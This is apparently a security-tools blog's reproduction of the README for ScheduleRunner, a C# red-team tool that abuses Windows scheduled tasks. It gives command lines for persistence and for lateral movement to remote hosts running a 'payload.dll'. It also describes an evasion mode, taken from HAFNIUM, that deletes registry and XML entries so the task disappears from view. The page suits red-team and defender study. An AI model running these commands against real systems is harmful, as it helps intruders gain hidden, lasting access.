Kali Linux

ScheduleRunner : A C# Tool With More Flexibility To Customize Scheduled Task

ScheduleRunner is a Scheduled task is one of the most popular attack technique in the past decade and now it is still commonly used by hackers/red teamers for persistence and lateral movement.

A number of C# tools were already developed to simulate the attack using scheduled task. I have been playing around with some of them but each of them has its own limitations on customizing the scheduled task. Therefore, this project aims to provide a C# tool (CobaltStrike execute-assembly friendly) to include the features that I need and provide enough flexibility on customizing the scheduled task.

Methods (/method)

MethodFunction
createCreate a new scheduled task
deleteDelete an existing scheduled task
runExecute an existing scheduled task
queryQuery details for a scheduled task or all scheduled tasks under a folder
queryfoldersQuery all sub-folders in scheduled task
movePerform lateral movement using scheduled task (automatically create, run and delete)

Options for scheduled task creation (/method:create)

MethodFunction
[*] /tasknameSpecify the name of the scheduled task
[*] /programSpecify the program that the task runs
[*] /triggerSpecify the schedule type. The valid values include: “minute”, “hourly”, “daily”, “onstart”, “onlogon”, “onidle”
/modifierSpecify how often the task runs within its schedule type. Applicable only for schedule type such as “minute” (e.g., 1-1439 minutes) and “hourly” (e.g., 1-23 hours)
/starttimeSpecify the start time for daily schedule type (e.g., 23:30)
/argumentSpecify the command line argument for the program
/folderSpecify the folder where the scheduled task stores (default: \)
/authorSpecify the author of the scheduled task
/descriptionSpecify the description for the scheduled task
/remoteserverSpecify the hostname or IP address of a remote computer
/userRun the task with a specified user account
/techniqueSpecify evasion technique:
– “hide”: A technique used by HAFNIUM malware that will hide the scheduled task from task query

[!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
[!] This technique does not support remote execution due to privilege of remote registry. It requires “NT AUTHORITY\SYSTEM” and the task will continue to run until system reboot even after task deletion

[*] are mandatory fields.

Options for scheduled task deletion (/method:delete)

MethodFunction
[*] /tasknameSpecify the name of the scheduled task
/folderSpecify the folder where the scheduled task stores (default: \)
/remoteserverSpecify the hostname or IP address of a remote computer
/techniqueSpecify when the scheduled task was created using evasion technique:
– “hide”: Delete scheduled task that used “hiding scheduled task” technique

[!] The deletion requires “NT AUTHORITY\SYSTEM” and the task will continue to run until system reboot even after task deletion

[*] are mandatory fields.

Options for scheduled task execution (/method:run)

MethodFunction
[*] /tasknameSpecify the name of the scheduled task
/folderSpecify the folder where the scheduled task stores (default: \)
/remoteserverSpecify the hostname or IP address of a remote computer

[*] are mandatory fields.

Options for scheduled task query (/method:query)

MethodFunction
/tasknameSpecify the name of the scheduled task
/folderSpecify the folder where the scheduled task stores (default: \)
/remoteserverSpecify the hostname or IP address of a remote computer

[*] are mandatory fields.

Options for scheduled task lateral movement (/method:move)

MethodFunction
[*] /tasknameSpecify the name of the scheduled task
[*] /programSpecify the program that the task runs
[*] /remoteserverSpecify the hostname or IP address of a remote computer
/triggerSpecify the schedule type. The valid values include: “minute”, “hourly”, “daily”, “onstart”, “onlogon”, “onidle”
/modifierSpecify how often the task runs within its schedule type. Applicable only for schedule type such as “minute” (e.g., 1-1439 minutes) and “hourly” (e.g., 1-23 hours)
/starttimeSpecify the start time for daily schedule type (e.g., 23:30)
/argumentSpecify the command line argument for the program
/folderSpecify the folder where the scheduled task stores (default: \)
/authorSpecify the author of the scheduled task
/descriptionSpecify the description for the scheduled task
/userRun the task with a specified user account

[*] are mandatory fields.

Example

Create a scheduled task called “Cleanup” that will be executed every day at 11:30 p.m.

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

Create a scheduled task called “Cleanup” that will be executed every 4 hours on a remote server

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

Delete a scheduled task called “Cleanup”

ScheduleRunner.exe /method:delete /taskname:Cleanup

Execute a scheduled task called “Cleanup”

ScheduleRunner.exe /method:run /taskname:Cleanup

Query details for a scheduled task called “Cleanup” under “\Microsoft\Windows\CertificateServicesClient” folder on a remote server

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Query all scheduled tasks under a specific folder “\Microsoft\Windows\CertificateServicesClient” on a remote server

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Query all sub-folders in scheduled task

ScheduleRunner.exe /method:queryfolders

Perform lateral movement using scheduled task to a remote server using a specific user account

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

Create a scheduled task called “Cleanup” using hiding scheduled task technique:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

Delete a scheduled task called “Cleanup” that used hiding scheduled task technique:

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

Hiding Scheduled Task Technique

This technique was used by threat actor – HAFNIUM and discovered by Microsoft recently. It aims to make the scheduled task unqueriable by tools and unseeable by Task Scheduler.

To use this technique, you are required to have “NT AUTHORITY/SYSTEM” and ScheduleRunner will do the following for you:

  1. Delete “SD” value from “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[task name]”
  2. Delete scheduled task XML file “C:\Windows\System32\Tasks\[task name]”

To remove scheduled task that is created using this technique require to add “/technique:hide” in the delete method to remove it properly.

Disadvantage of this technique

The task will continue to run util next system reboot even if the task is deleted via registry. Therefore, it is better not to use this technique in server for your operation.

R K

Recent Posts

Bash Scripting Best Practices Every Beginner Should Know

Introduction Bash scripting is a powerful way to automate Linux tasks, but writing a script…

23 hours ago

How To Create A Self-Signed SSL Certificate Using Bash And OpenSSL

Introduction A self-signed SSL certificate is a certificate that is created and signed by the…

24 hours ago

How To Debug Bash Scripts Using bash -x And set Commands

Introduction Debugging is an important part of Bash scripting. When a script does not work…

1 day ago

How To Use Cron Jobs With Bash Scripts For Automation

Introduction Cron jobs are used in Linux to run commands or Bash scripts automatically at…

1 day ago

How To Use Pipes In Bash Scripts For Command Chaining

Introduction Pipes are an important feature in Linux and Bash scripting. A pipe allows you…

1 day ago

How To Use grep, awk, And sed In Bash Scripts

Introduction The grep, awk, and sed commands are powerful text-processing tools in Linux. They are…

1 day ago